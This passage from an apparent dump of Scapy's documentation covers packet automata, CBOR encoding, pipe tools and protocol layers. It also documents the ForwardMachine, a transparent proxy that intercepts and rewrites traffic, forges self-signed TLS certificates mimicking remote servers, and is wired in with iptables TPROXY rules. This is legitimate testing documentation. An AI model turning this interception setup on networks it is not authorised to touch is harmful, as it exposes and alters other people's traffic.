@ATMT.condition(WAITING)\n        def it_is_raining(self):\n            if not self.have_umbrella:\n                raise self.ERROR_WET()\n    \n        @ATMT.receive_condition(WAITING, prio=1)\n        def it_is_ICMP(self, pkt):\n            if ICMP in pkt:\n                raise self.RECEIVED_ICMP(pkt)\n                \n        @ATMT.receive_condition(WAITING, prio=2)\n        def it_is_IP(self, pkt):\n            if IP in pkt:\n                raise self.RECEIVED_IP(pkt)\n        \n        @ATMT.timeout(WAITING, 10.0)\n        def waiting_timeout(self):\n            raise self.ERROR_TIMEOUT()\n\nDecorator for actions\n~~~~~~~~~~~~~~~~~~~~~\n\nActions are methods that are decorated by the return of ``ATMT.action`` function. This function takes the transition method it is bound to as first parameter and an optional priority ``prio`` as a second parameter. The default priority is 0. An action method can be decorated many times to be bound to many transitions.\n\n::\n\n    from random import random\n\n    class Example(Automaton):\n        @ATMT.state(initial=1)\n        def BEGIN(self):\n            pass\n    \n        @ATMT.state(final=1)\n        def END(self):\n            pass\n    \n        @ATMT.condition(BEGIN, prio=1)\n        def maybe_go_to_end(self):\n            if random() > 0.5:\n                raise self.END()\n\n        @ATMT.condition(BEGIN, prio=2)\n        def certainly_go_to_end(self):\n            raise self.END()\n    \n        @ATMT.action(maybe_go_to_end)\n        def maybe_action(self):\n            print(\"We are lucky...\")\n\n        @ATMT.action(certainly_go_to_end)\n        def certainly_action(self):\n            print(\"We are not lucky...\")\n\n        @ATMT.action(maybe_go_to_end, prio=1)\n        @ATMT.action(certainly_go_to_end, prio=1)\n        def always_action(self):\n            print(\"This wasn't luck!...\")\n\nThe two possible outputs are::\n\n    >>> a=Example()\n    >>> a.run()\n    We are not lucky...\n    This wasn't luck!...\n    >>> a.run()\n    We are lucky...\n    This wasn't luck!...\n    >>> a.destroy()\n\n\n.. note:: If you want to pass a parameter to an action, you can use the ``action_parameters`` function while raising the next state.\n\nIn the following example, the ``send_copy`` action takes a parameter passed by ``is_fin``::\n\n    class Example(Automaton):\n        @ATMT.state()\n        def WAITING(self):\n            pass\n\n        @ATMT.state()\n        def FIN_RECEIVED(self):\n            pass\n\n        @ATMT.receive_condition(WAITING)\n        def is_fin(self, pkt):\n            if pkt[TCP].flags.F:\n                raise self.FIN_RECEIVED().action_parameters(pkt)\n\n        @ATMT.action(is_fin)\n        def send_copy(self, pkt):\n            send(pkt)\n\n\nMethods to overload\n^^^^^^^^^^^^^^^^^^^\n\nTwo methods are hooks to be overloaded:\n\n* The ``parse_args()`` method is called with arguments given at ``__init__()`` and ``run()``. Use that to parametrize the behavior of your automaton.\n\n* The ``master_filter()`` method is called each time a packet is sniffed and decides if it is interesting for the automaton. When working on a specific protocol, this is where you will ensure the packet belongs to the connection you are being part of, so that you do not need to make all the sanity checks in each transition.\n\nTimer configuration\n^^^^^^^^^^^^^^^^^^^\n\nSome protocols allow timer configuration. In order to configure timeout values during class initialization one may use ``timer_by_name()`` method, which returns ``Timer`` object associated with the given function name::\n\n    class Example(Automaton):\n\tdef __init__(self, *args, **kwargs):\n\t    super(Example, self).__init__(*args, **kwargs)\n\t    timer = self.timer_by_name(\"waiting_timeout\")\n\t    timer.set(1)\n\n\t@ATMT.state(initial=1)\n\tdef WAITING(self):\n\t    pass\n\n\t@ATMT.state(final=1)\n\tdef END(self):\n\t    pass\n\n\t@ATMT.timeout(WAITING, 10.0)\n\tdef waiting_timeout(self):\n\t    raise self.END()"
  },
  {
    "path": "doc/scapy/advanced_usage/cbor.rst",
    "content": "CBOR\n====\n\nWhat is CBOR?\n-------------\n\n.. note::\n\n   This section provides a practical introduction to CBOR from Scapy's perspective. For the complete specification, see RFC 8949.\n\nCBOR (Concise Binary Object Representation) is a data format whose goal is to provide a compact, self-describing binary data interchange format based on the JSON data model. It is defined in RFC 8949 and is designed to be small in code size, reasonably small in message size, and extensible without the need for version negotiation.\n\nCBOR provides basic data types including:\n\n* **Unsigned integers** (major type 0): Non-negative integers\n* **Negative integers** (major type 1): Negative integers\n* **Byte strings** (major type 2): Raw binary data\n* **Text strings** (major type 3): UTF-8 encoded strings\n* **Arrays** (major type 4): Ordered sequences of values\n* **Maps** (major type 5): Unordered key-value pairs\n* **Semantic tags** (major type 6): Tagged values with additional semantics\n* **Simple values and floats** (major type 7): Booleans, null, undefined, and floating-point numbers\n\nEach CBOR data item begins with an initial byte that encodes the major type (in the top 3 bits) and additional information (in the low 5 bits). This design allows for compact encoding while maintaining self-describing properties.\n\nScapy and CBOR\n--------------\n\n\nCreating CBOR objects\n^^^^^^^^^^^^^^^^^^^^^\n\nCBOR objects can be easily created and composed::\n\n    >>> from scapy.cbor import CBOR_UNSIGNED_INTEGER, CBOR_TEXT_STRING, CBOR_BYTE_STRING, CBOR_ARRAY\n    >>> # Create basic types\n    >>> num = CBOR_UNSIGNED_INTEGER(42)\n    >>> text = CBOR_TEXT_STRING(\"Hello, CBOR!\")\n    >>> data = CBOR_BYTE_STRING(b'\\x01\\x02\\x03')\n    >>> \n    >>> # Create collections\n    >>> arr = CBOR_ARRAY([CBOR_UNSIGNED_INTEGER(1), \n    ...                    CBOR_UNSIGNED_INTEGER(2),\n    ...                    CBOR_TEXT_STRING(\"three\")])\n    >>> arr\n    <CBOR_ARRAY[[<CBOR_UNSIGNED_INTEGER[1]>, <CBOR_UNSIGNED_INTEGER[2]>, <CBOR_TEXT_STRING['three']>]]>\n    >>> \n    >>> # Create maps\n    >>> from scapy.cbor.cborcodec import CBORcodec_MAP\n    >>> mapping = {\"name\": \"Alice\", \"age\": 30, \"active\": True}\n\nEncoding and decoding\n^^^^^^^^^^^^^^^^^^^^^\n\nCBOR objects are encoded using their ``.enc()`` method. All codecs are referenced in the ``CBOR_Codecs`` object. The default codec is ``CBOR_Codecs.CBOR``::\n\n    >>> num = CBOR_UNSIGNED_INTEGER(42)\n    >>> encoded = bytes(num)\n    >>> encoded.hex()\n    '182a'\n    >>> \n    >>> # Decode back\n    >>> decoded, remainder = CBOR_Codecs.CBOR.dec(encoded)\n    >>> decoded.val\n    42\n    >>> isinstance(decoded, CBOR_UNSIGNED_INTEGER)\n    True\n\nEncoding collections::\n\n    >>> from scapy.cbor import CBORcodec_ARRAY, CBORcodec_MAP\n    >>> # Encode an array\n    >>> encoded = CBORcodec_ARRAY.enc([1, 2, 3, 4, 5])\n    >>> encoded.hex()\n    '850102030405'\n    >>> \n    >>> # Decode the array\n    >>> decoded, _ = CBOR_Codecs.CBOR.dec(encoded)\n    >>> [item.val for item in decoded.val]\n    [1, 2, 3, 4, 5]\n    >>> \n    >>> # Encode a map\n    >>> encoded = CBORcodec_MAP.enc({\"x\": 100, \"y\": 200})\n    >>> decoded, _ = CBOR_Codecs.CBOR.dec(encoded)\n    >>> isinstance(decoded, CBOR_MAP)\n    True\n\nWorking with different types\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nCBOR supports various data types::\n\n    >>> # Booleans\n    >>> true_val = CBOR_TRUE()\n    >>> false_val = CBOR_FALSE()\n    >>> bytes(true_val).hex()\n    'f5'\n    >>> bytes(false_val).hex()\n    'f4'\n    >>> \n    >>> # Null and undefined\n    >>> null_val = CBOR_NULL()\n    >>> undef_val = CBOR_UNDEFINED()\n    >>> bytes(null_val).hex()\n    'f6'\n    >>> bytes(undef_val).hex()\n    'f7'\n    >>> \n    >>> # Floating point\n    >>> float_val = CBOR_FLOAT(3.14159)\n    >>> bytes(float_val).hex()\n    'fb400921f9f01b866e'\n    >>> \n    >>> # Negative integers\n    >>> neg = CBOR_NEGATIVE_INTEGER(-100)\n    >>> bytes(neg).hex()\n    '3863'\n\nComplex structures\n^^^^^^^^^^^^^^^^^^\n\nCBOR supports nested structures::\n\n    >>> # Nested arrays\n    >>> nested = CBORcodec_ARRAY.enc([1, [2, 3], [4, [5, 6]]])\n    >>> decoded, _ = CBOR_Codecs.CBOR.dec(nested)\n    >>> isinstance(decoded, CBOR_ARRAY)\n    True\n    >>> \n    >>> # Complex maps with mixed types\n    >>> data = {\n    ...     \"name\": \"Bob\",\n    ...     \"age\": 25,\n    ...     \"active\": True,\n    ...     \"tags\": [\"user\", \"admin\"]\n    ... }\n    >>> encoded = CBORcodec_MAP.enc(data)\n    >>> decoded, _ = CBOR_Codecs.CBOR.dec(encoded)\n    >>> len(decoded.val)\n    4\n\nSemantic tags\n^^^^^^^^^^^^^\n\nCBOR supports semantic tags (major type 6) for providing additional meaning to data items::\n\n    >>> # Tag 1 is for Unix epoch timestamps\n    >>> import time\n    >>> timestamp = int(time.time())\n    >>> tagged = CBOR_SEMANTIC_TAG((1, CBOR_UNSIGNED_INTEGER(timestamp)))\n    >>> encoded = bytes(tagged)\n    >>> decoded, _ = CBOR_Codecs.CBOR.dec(encoded)\n    >>> decoded.val[0]  # Tag number\n    1\n\n\nError handling\n^^^^^^^^^^^^^^\n\nScapy provides safe decoding with error handling::\n\n    >>> # Safe decoding returns error objects for invalid data\n    >>> invalid_data = b'\\xff\\xff\\xff'\n    >>> obj, remainder = CBOR_Codecs.CBOR.safedec(invalid_data)\n    >>> isinstance(obj, CBOR_DECODING_ERROR)\n    True\n\n"
  },
  {
    "path": "doc/scapy/advanced_usage/fwdmachine.rst",
    "content": "******************\nForwarding Machine\n******************\n\nScapy's ``ForwardMachine`` is a utility that allows to create a server that forwards packets to another server, with the ability\nto modify them on-the-fly. This is similar to a \"proxy\", but works on the layer 4 (rather than 5+). The ``ForwardMachine`` was initially designed to be used with TPROXY,\na linux feature that allows to bind a socket that receives *packets to any IP destination* (usually, a socket only receives packets whose destination is local), but it also work as a standalone server (that binds a normal socket).\n\nA ``ForwardMachine`` is expected to be used over a normal Python socket, of any kind, and needs to extended with two\nfunctions: ``xfrmcs`` and ``xfrmsc``. The first one is called whenever data is received from the client side (client-to-server, \"cs\"), the other when the data\nis received from the server (server-to-client, \"sc\")\n\n``ForwardMachine`` can be used in two modes:\n\n- **TPROXY**, acts as a transparent proxy that intercepts one or many connections towards multiple servers\n- **SERVER**, acts like a glorified socat that accepts connections towards the local server\n\nBasic usage\n___________\n\nHere's an example of a ``ForwardMachine`` over TPROXY that does nothing. Packets for all destinations are handled, and forwarded to their\ninitial destinations afterwards. More details on how to setup TPROXY are provided below.\n\n.. code:: python\n\n    from scapy.fwdmachine import ForwardMachine\n    from scapy.layers.http import HTTP\n\n    class NOPFwdMachine(ForwardMachine):\n        def xfrmcs(self, pkt, ctx):\n            pkt.show()  # we print the client->server packets\n            raise self.FORWARD()\n\n        def xfrmsc(self, pkt, ctx):\n            pkt.show()  # we print the server->client packets\n            raise self.FORWARD()\n\n    # Run it\n    NOPFwdMachine(\n        mode=ForwardMachine.MODE.TPROXY,\n        port=80,\n        cls=HTTP,  # we specify the class of the payload we are receiving\n    ).run()\n\nThe callback classes use **Operations** to tell the ``ForwardMachine`` what to do with the incoming data.\n\n.. figure:: ../graphics/fwdmachine.svg\n    :align: center\n\n    The main operations available in a Forwarding machine, in this case in ``xfrmcs``.\n\nThere are currently 5 operations available:\n\n- **FORWARD**: forward the received payload to the destination intended by the peer;\n- **FORWARD_REPLACE**: forward a modified payload to the intended destination;\n- **DROP**: drop the received payload;\n- **ANSWER**: answer the peer directly with a payload, without forwarding its original payload to the other peer;\n- **REDIRECT_TO**: (client-side only) redirects the connection of the client towards a new remote peer.\n\nThe ``ctx`` attribute in the callbacks contains context relative to the current client. It can also be use to\nstore additional data specific to the session.\n\nIf we were to use this machine in SERVER mode, we would call it like:\n\n.. code:: python\n\n    NOPFwdMachine(\n        mode=ForwardMachine.MODE.SERVER,\n        port=12345,\n        bind_address=\"0.0.0.0\",  # the address we bind on\n        remote_address=\"192.168.0.1\",  # the server to redirect this to by default\n        cls=conf.raw_layer,  # Default Raw layer: we don't know the type of data\n    ).run()\n\nTLS support\n___________\n\n``ForwardMachine`` has support for TLS through the ``ssl=True`` argument. When TLS is enabled, the SNI (Server Name Indication) is\nproperly forwarded to the remote peer, and can be accessed through the ``ctx.tls_sni_name`` attribute in the callbacks.\n\n**By default, a ForwardMachine generates self-signed certificates** that copy the attributes from the certificate of the remote\nserver. This behavior can be changed by specifying a certificate (which will be served by the TLS stack).\n\nWe can run the same ForwardMachine as from the previous example, this time with self-signed TLS.\n\n.. code:: python\n\n    # Run it\n    NOPFwdMachine(\n        mode=ForwardMachine.MODE.SERVER,\n        port=443,\n        cls=HTTP,\n        ssl=True,\n    ).run()\n\nConfiguring TPROXY\n__________________\n\nTPROXY is a special socket mode that allows to bind a socket that listens for traffic that isn't directed at a local address. This is typically used by \"transparent TLS proxies\" to achieve their functionality, and is expected to be setup on a linux router.\n\nThe ``ForwardingMachine`` supports TPROXY, which allows to intercept and modify all the traffic by many clients to many destinations, for instance on a specific port. This is much more versatile that a classic bind + socket, which would typically forward multiple clients to a single destination.\n\nHere are the steps:\n\n- Setup an interface that one can redirect traffic to, and that has TPROXY support.\n- Bind the ``ForwardingMachine`` on that interface.\n- Redirect some traffic to that interface, using ``iptables`` or ``nftables``, based on some arbitrary criteria.\n\nFor ease of use, a script ``vethrelay.sh`` is provided to setup a veth (virtual ethernet) interface that can be used to bind the ``ForwardingMachine`` on. This script is available at https://github.com/secdev/scapy/blob/master/doc/scapy/_static/vethrelay.sh\n\n.. code:: bash\n\n   ./vethrelay.sh setup\n   Interface vethrelay is now setup with IPv4: 2.2.2.2 !\n   \n   Add listening rules as follow:\n   \n   # TPROXY incoming TCP packets on port 80 to vethrelay on port 8080\n   iptables -t mangle -A PREROUTING -p tcp --dport 80 -j TPROXY --tproxy-mark 0x1/0x1 --on-port 8080 --on-ip 2.2.2.2\n   \n   # Listen on wlp4s0 for incoming packets on port 80 (on the interface where it really comes from)\n   iptables -A INPUT -i wlp4s0 -p tcp --dport 80 -j ACCEPT\n\nAs the instructions say, to have traffic to anything on the port 80 go through the ``ForwardingMachine``, one can run the commands listed above assuming that the machine is started as such: \n\n.. code:: python\n\n    NOPFwdMachine(\n        mode=ForwardMachine.MODE.TPROXY,\n        port=8080,\n        cls=HTTP,\n    ).run()\n"
  },
  {
    "path": "doc/scapy/advanced_usage/index.rst",
    "content": ".. Advanced usage documentation\n\nAdvanced usage\n==============\n\n.. toctree::\n   :glob:\n   :titlesonly:\n   \n   *"
  },
  {
    "path": "doc/scapy/advanced_usage/pipetools.rst",
    "content": ".. _pipetools:\n\nPipeTools\n=========\n\nScapy's ``pipetool`` is a smart piping system allowing to perform complex stream data management.\n\nThe goal is to create a sequence of steps with one or several inputs and one or several outputs, with a bunch of blocks in between.\nPipeTools can handle varied sources of data (and outputs) such as user input, pcap input, sniffing, wireshark...\nA pipe system is implemented by manually linking all its parts. It is possible to dynamically add an element while running or set multiple drains for the same source.\n\n.. note:: Pipetool default objects are located inside ``scapy.pipetool``\n\nDemo: sniff, anonymize, send to Wireshark\n-----------------------------------------\n\nThe following code will sniff packets on the default interface, anonymize the source and destination IP addresses and pipe it all into Wireshark. Useful when posting online examples, for instance.\n\n.. code-block:: python3\n\n    source = SniffSource(iface=conf.iface)\n    wire = WiresharkSink()\n    def transf(pkt):\n        if not pkt or IP not in pkt:\n            return pkt\n        pkt[IP].src = \"1.1.1.1\"\n        pkt[IP].dst = \"2.2.2.2\"\n        return pkt\n\n    source > TransformDrain(transf) > wire\n    p = PipeEngine(source)\n    p.start()\n    p.wait_and_stop()\n\nThe engine is pretty straightforward:\n\n.. image:: ../graphics/pipetool_demo.svg\n\nLet's run it:\n\n.. image:: ../graphics/animations/pipetool_demo.gif\n\nClass Types\n-----------\n\nThere are 3 different class of objects used for data management:\n\n- ``Sources``\n- ``Drains``\n- ``Sinks``\n\nThey are executed and handled by a :class:`~scapy.pipetool.PipeEngine` object.\n\nWhen running, a pipetool engine waits for any available data from the Source, and send it in the Drains linked to it.\nThe data then goes from Drains to Drains until it arrives in a Sink, the final state of this data.\n\nLet's see with a basic demo how to build a pipetool system.\n\n.. image:: ../graphics/pipetool_engine.png\n\nFor instance, this engine was generated with this code:\n\n.. code:: pycon\n\n    >>> s = CLIFeeder()\n    >>> s2 = CLIHighFeeder()\n    >>> d1 = Drain()\n    >>> d2 = TransformDrain(lambda x: x[::-1])\n    >>> si1 = ConsoleSink()\n    >>> si2 = QueueSink()\n    >>> \n    >>> s > d1\n    >>> d1 > si1\n    >>> d1 > si2\n    >>> \n    >>> s2 >> d1\n    >>> d1 >> d2\n    >>> d2 >> si1\n    >>> \n    >>> p = PipeEngine()\n    >>> p.add(s)\n    >>> p.add(s2)\n    >>> p.graph(target=\"> the_above_image.png\")\n\n``start()`` is used to start the :class:`~scapy.pipetool.PipeEngine`:\n\n.. code:: pycon\n\n    >>> p.start()\n\nNow, let's play with it by sending some input data\n\n.. code:: pycon\n\n    >>> s.send(\"foo\")\n    >'foo'\n    >>> s2.send(\"bar\")\n    >>'rab'\n    >>> s.send(\"i like potato\")\n    >'i like potato'\n    >>> print(si2.recv(), \":\", si2.recv())\n    foo : i like potato\n\nLet's study what happens here:\n\n- there are **two canals** in a :class:`~scapy.pipetool.PipeEngine`, a lower one and a higher one. Some Sources write on the lower one, some on the higher one and some on both.\n- most sources can be linked to any drain, on both lower and higher canals. The use of ``>`` indicates a link on the low canal, and ``>>`` on the higher one.\n- when we send some data in ``s``, which is on the lower canal, as shown above, it goes through the :class:`~scapy.pipetool.Drain` then is sent to the :class:`~.scapy.pipetool.QueueSink` and to the :class:`~scapy.pipetool.ConsoleSink`\n- when we send some data in ``s2``, it goes through the Drain, then the TransformDrain where the data is reversed (see the lambda), before being sent to :class:`~scapy.pipetool.ConsoleSink` only. This explains why we only have the data of the lower sources inside the QueueSink: the higher one has not been linked.\n\nMost of the sinks receive from both lower and upper canals. This is verifiable using the `help(ConsoleSink)`\n\n.. code:: pycon\n\n    >>> help(ConsoleSink)\n    Help on class ConsoleSink in module scapy.pipetool:\n    class ConsoleSink(Sink)\n     |  Print messages on low and high entries\n     |     +-------+\n     |  >>-|--.    |->>\n     |     | print |\n     |   >-|--'    |->\n     |     +-------+\n     |\n     [...]\n\n\nSources\n^^^^^^^\n\nA Source is a class that generates some data.\n\nThere are several source types integrated with Scapy, usable as-is, but you may\nalso create yours.\n\nDefault Source classes\n~~~~~~~~~~~~~~~~~~~~~~\n\nFor any of those class, have a look at ``help([theclass])`` to get more information or the required parameters.\n\n- :class:`~scapy.pipetool.CLIFeeder` : a source especially used in interactive software. its ``send(data)`` generates the event data on the lower canal\n- :class:`~scapy.pipetool.CLIHighFeeder` : same than CLIFeeder, but writes on the higher canal\n- :class:`~scapy.pipetool.PeriodicSource` : Generate messages periodically on the low canal.\n- :class:`~scapy.pipetool.AutoSource`: the default source, that must be extended to create custom sources. \n\nCreate a custom Source\n~~~~~~~~~~~~~~~~~~~~~~\n\nTo create a custom source, one must extend the :class:`~scapy.pipetool.AutoSource` class.\n\n.. note::\n\n    Do NOT use the default :class:`~scapy.pipetool.Source` class except if you are really sure of what you are doing: it is only used internally, and is missing some implementation. The :class:`~scapy.pipetool.AutoSource` is made to be used.\n\n\nTo send data through it, the object must call its ``self._gen_data(msg)`` or ``self._gen_high_data(msg)`` functions, which send the data into the PipeEngine.\n\nThe Source should also (if possible), set ``self.is_exhausted`` to ``True`` when empty, to allow the clean stop of the :class:`~scapy.pipetool.PipeEngine`. If the source is infinite, it will need a force-stop (see PipeEngine below)\n\nFor instance, here is how :class:`~scapy.pipetool.CLIHighFeeder` is implemented:\n\n.. code:: python3\n\n    class CLIFeeder(CLIFeeder):\n        def send(self, msg):\n            self._gen_high_data(msg)\n        def close(self):\n            self.is_exhausted = True\n\nDrains\n^^^^^^\n\nDefault Drain classes\n~~~~~~~~~~~~~~~~~~~~~\n\nDrains need to be linked on the entry that you are using. It can be either on the lower one (using ``>``) or the upper one (using ``>>``).\nSee the basic example above.\n\n- :class:`~scapy.pipetool.Drain` : the most basic Drain possible. Will pass on both low and high entry if linked properly.\n- :class:`~scapy.pipetool.TransformDrain` : Apply a function to messages on low and high entry\n- :class:`~scapy.pipetool.UpDrain` : Repeat messages from low entry to high exit\n- :class:`~scapy.pipetool.DownDrain` : Repeat messages from high entry to low exit\n\nCreate a custom Drain\n~~~~~~~~~~~~~~~~~~~~~\n\nTo create a custom drain, one must extend the :class:`~scapy.pipetool.Drain` class.\n\nA :class:`~scapy.pipetool.Drain` object will receive data from the lower canal in its ``push`` method, and from the higher canal from its ``high_push`` method.\n\nTo send the data back into the next linked Drain / Sink, it must call the ``self._send(msg)`` or ``self._high_send(msg)`` methods.\n\nFor instance, here is how :class:`~scapy.pipetool.TransformDrain` is implemented::\n\n    class TransformDrain(Drain):\n        def __init__(self, f, name=None):\n            Drain.__init__(self, name=name)\n            self.f = f\n        def push(self, msg):\n            self._send(self.f(msg))\n        def high_push(self, msg):\n            self._high_send(self.f(msg))\n\nSinks\n^^^^^\n\nSinks are destinations for messages.\n\nA :py:class:`~scapy.pipetool.Sink` receives data like a :py:class:`~scapy.pipetool.Drain`, but doesn't send any\nmessages after it.\n\nMessages on the low entry come from :py:meth:`~scapy.pipetool.Sink.push`, and messages on the\nhigh entry come from :py:meth:`~scapy.pipetool.Sink.high_push`.\n\nDefault Sinks classes\n~~~~~~~~~~~~~~~~~~~~~\n\n- :class:`~scapy.pipetool.ConsoleSink` : Print messages on low and high entries to ``stdout``\n- :class:`~scapy.pipetool.RawConsoleSink` : Print messages on low and high entries, using os.write\n- :class:`~scapy.pipetool.TermSink` : Prints messages on the low and high entries, on a separate terminal\n- :class:`~scapy.pipetool.QueueSink` : Collects messages on the low and high entries into a :py:class:`Queue`\n\nCreate a custom Sink\n~~~~~~~~~~~~~~~~~~~~\n\nTo create a custom sink, one must extend :py:class:`~scapy.pipetool.Sink` and implement\n:py:meth:`~scapy.pipetool.Sink.push` and/or :py:meth:`~scapy.pipetool.Sink.high_push`.\n\nThis is a simplified version of :py:class:`~scapy.pipetool.ConsoleSink`:\n\n.. code-block:: python3\n\n    class ConsoleSink(Sink):\n        def push(self, msg):\n            print(\">%r\" % msg)\n        def high_push(self, msg):\n            print(\">>%r\" % msg)\n\nLink objects\n------------\n\nAs shown in the example, most sources can be linked to any drain, on both low\nand high entry.\n\nThe use of ``>`` indicates a link on the low entry, and ``>>`` on the high\nentry.\n\nFor example, to link ``a``, ``b`` and ``c`` on the low entries:\n\n.. code-block:: pycon\n\n    >>> a = CLIFeeder()\n    >>> b = Drain()\n    >>> c = ConsoleSink()\n    >>> a > b > c\n    >>> p = PipeEngine()\n    >>> p.add(a)\n\nThis wouldn't link the high entries, so something like this would do nothing:\n\n.. code-block:: pycon\n\n    >>> a2 = CLIHighFeeder()\n    >>> a2 >> b\n    >>> a2.send(\"hello\")\n\nBecause ``b`` (:py:class:`~scapy.pipetool.Drain`) and ``c`` (:py:class:`scapy.pipetool.ConsoleSink`) are not\nlinked on the high entry.\n\nHowever, using a :py:class:`~scapy.pipetool.DownDrain` would bring the high messages from\n:py:class:`~scapy.pipetool.CLIHighFeeder` to the lower channel:\n\n.. code-block:: pycon\n\n    >>> a2 = CLIHighFeeder()\n    >>> b2 = DownDrain()\n    >>> a2 >> b2\n    >>> b2 > b\n    >>> a2.send(\"hello\")\n\nThe PipeEngine class\n--------------------\n\nThe :class:`~scapy.pipetool.PipeEngine` class is the core class of the Pipetool system. It must be initialized and passed the list of all Sources.\n\nThere are two ways of passing sources:\n\n- during initialization: ``p = PipeEngine(source1, source2, ...)``\n- using the ``add(source)`` method\n\nA :class:`~scapy.pipetool.PipeEngine` class must be started with ``.start()`` function. It may be force-stopped with the ``.stop()``, or cleanly stopped with ``.wait_and_stop()``\n\nA clean stop only works if the Sources is exhausted (has no data to send left).\n\nIt can be printed into a graph using ``.graph()`` methods. see ``help(do_graph)`` for the list of available keyword arguments.\n\nScapy advanced PipeTool objects\n-------------------------------\n\n.. note:: Unlike the previous objects, those are not located in ``scapy.pipetool`` but in ``scapy.scapypipes``\n\nNow that you know the default PipeTool objects, here are some more advanced ones, based on packet functionalities.\n\n- :class:`~scapy.scapypipes.SniffSource` : Read packets from an interface and send them to low exit.\n- :class:`~scapy.scapypipes.RdpcapSource` : Read packets from a PCAP file send them to low exit.\n- :class:`~scapy.scapypipes.InjectSink` : Packets received on low input are injected (sent) to an interface\n- :class:`~scapy.scapypipes.WrpcapSink` : Packets received on low input are written to PCAP file\n- :class:`~scapy.scapypipes.UDPDrain` : UDP payloads received on high entry are sent over UDP (complicated, have a look at ``help(UDPDrain)``)\n- :class:`~scapy.scapypipes.FDSourceSink` : Use a file descriptor as source and sink\n- :class:`~scapy.scapypipes.TCPConnectPipe`: TCP connect to addr:port and use it as source and sink\n- :class:`~scapy.scapypipes.TCPListenPipe` : TCP listen on [addr:]port and use the first connection as source and sink (complicated, have a look at ``help(TCPListenPipe)``)\n\nTriggering\n----------\n\nSome special sort of Drains exists: the Trigger Drains.\n\nTrigger Drains are special drains, that on receiving data not only pass it by but also send a \"Trigger\" input, that is received and handled by the next triggered drain (if it exists).\n\nFor example, here is a basic :class:`~scapy.scapypipes.TriggerDrain` usage:\n\n.. code:: pycon\n\n    >>> a = CLIFeeder()\n    >>> d = TriggerDrain(lambda msg: True) # Pass messages and trigger when a condition is met\n    >>> d2 = TriggeredValve()\n    >>> s = ConsoleSink()\n    >>> a > d > d2 > s\n    >>> d ^ d2 # Link the triggers\n    >>> p = PipeEngine(s)\n    >>> p.start()\n    INFO: Pipe engine thread started.\n    >>> \n    >>> a.send(\"this will be printed\")\n    >'this will be printed'\n    >>> a.send(\"this won't, because the valve was switched\")\n    >>> a.send(\"this will, because the valve was switched again\")\n    >'this will, because the valve was switched again'\n    >>> p.stop()\n\nSeveral triggering Drains exist, they are pretty explicit. It is highly recommended to check the doc using ``help([the class])``\n\n- :class:`~scapy.scapypipes.TriggeredMessage` : Send a preloaded message when triggered and trigger in chain\n- :class:`~scapy.scapypipes.TriggerDrain` : Pass messages and trigger when a condition is met\n- :class:`~scapy.scapypipes.TriggeredValve` : Let messages alternatively pass or not, changing on trigger\n- :class:`~scapy.scapypipes.TriggeredQueueingValve` : Let messages alternatively pass or queued, changing on trigger\n- :class:`~scapy.scapypipes.TriggeredSwitch` : Let messages alternatively high or low, changing on trigger\n"
  },
  {
    "path": "doc/scapy/backmatter.rst",
    "content": "\n*******\nCredits\n*******\n\nThe maintainers of Scapy are:\n  - Pierre Lalet\n  - Gabriel Potter (Lead maintainer)\n  - Guillaume Valadon\n  - Nils Weiss\n\nFormer maintainers include:\n  - Philippe Biondi, who was Scapy's original author.\n\nOther documentation credits include:\n- Fred Raynal wrote the chapter on building and dissecting packets.\n- Peter Kacherginsky contributed several tutorial sections, one-liners and recipes.\n- Dirk Loss integrated and restructured the existing docs to make this book.\n"
  },
  {
    "path": "doc/scapy/build_dissect.rst",
    "content": "********************\nAdding new protocols\n********************\n\nAdding a new protocol (or more correctly: a new *layer*) in Scapy is very easy. All the magic is in the fields. If the \nfields you need are already there and the protocol is not too brain-damaged, \nthis should be a matter of minutes. \n\nSimple example\n==============\n\nA layer is a subclass of the ``Packet`` class. All the logic behind layer manipulation \nis held by the ``Packet`` class and will be inherited. \nA simple layer is compounded by a list of fields that will be either concatenated \nwhen assembling the layer or dissected one by one when disassembling a string. \nThe list of fields is held in an attribute named ``fields_desc``. Each field is an instance \nof a field class:: \n\n    class Disney(Packet): \n        name = \"DisneyPacket \" \n        fields_desc=[ ShortField(\"mickey\",5), \n                     XByteField(\"minnie\",3) , \n                     IntEnumField(\"donald\" , 1 , \n                          { 1: \"happy\", 2: \"cool\" , 3: \"angry\" } ) ]\n                       \nIn this example, our layer has three fields. The first one is a 2-byte integer \nfield named ``mickey`` and whose default value is 5. The second one is a 1-byte \ninteger field named ``minnie`` and whose default value is 3. The difference between \na vanilla ``ByteField`` and an ``XByteField`` is only the fact that the preferred human \nrepresentation of the field’s value is in hexadecimal. The last field is a 4-byte \ninteger field named ``donald``. It is different from a vanilla ``IntField`` by the fact \nthat some of the possible values of the field have literate representations. For \nexample, if it is worth 3, the value will be displayed as angry. Moreover, if the \n\"cool\" value is assigned to this field, it will understand that it has to take the \nvalue 2. \n\nIf your protocol is as simple as this, it is ready to use:: \n\n    >>> d=Disney(mickey=1) \n    >>> ls(d) \n    mickey : ShortField = 1 (5) \n    minnie : XByteField = 3 (3) \n    donald : IntEnumField = 1 (1) \n    >>> d.show() \n    ###[ Disney Packet ]### \n    mickey= 1 \n    minnie= 0x3 \n    donald= happy \n    >>> d.donald=\"cool\" \n    >>> raw(d)\n    ’\\x00\\x01\\x03\\x00\\x00\\x00\\x02’ \n    >>> Disney(_) \n    <Disney mickey=1 minnie=0x3 donald=cool |> \n\n\nThis chapter explains how to build a new protocol within Scapy. There are two main objectives:\n\n* Dissecting: this is done when a packet is received (from the network or a file) and should be converted to Scapy’s internals.\n* Building: When one wants to send such a new packet, some stuff needs to be adjusted automatically in it.\n\nLayers\n======\n\nBefore digging into dissection itself, let us look at how packets are\norganized.\n\n::\n\n    >>> p = IP()/TCP()/\"AAAA\"\n    >>> p\n    <IP  frag=0 proto=TCP |<TCP  |<Raw  load='AAAA' |>>>\n    >>> p.summary()\n    'IP / TCP 127.0.0.1:ftp-data > 127.0.0.1:www S / Raw'\n\nWe are interested in 2 \"inside\" fields of the class ``Packet``:\n\n* ``p.underlayer``\n* ``p.payload``\n\nAnd here  is the  main \"trick\".  You do not  care about  packets, only\nabout layers, stacked one after the other. \n\nOne can easily  access a layer by its name: ``p[TCP]`` returns the ``TCP``\nand following layers. This is a shortcut for ``p.getlayer(TCP)``.\n\n.. note::\n   There is  an optional argument (``nb``) which returns  the ``nb`` th  layer of required protocol.\n\nLet's put everything together now, playing with the ``TCP`` layer::\n\n    >>> tcp=p[TCP]\n    >>> tcp.underlayer\n    <IP  frag=0 proto=TCP |<TCP  |<Raw  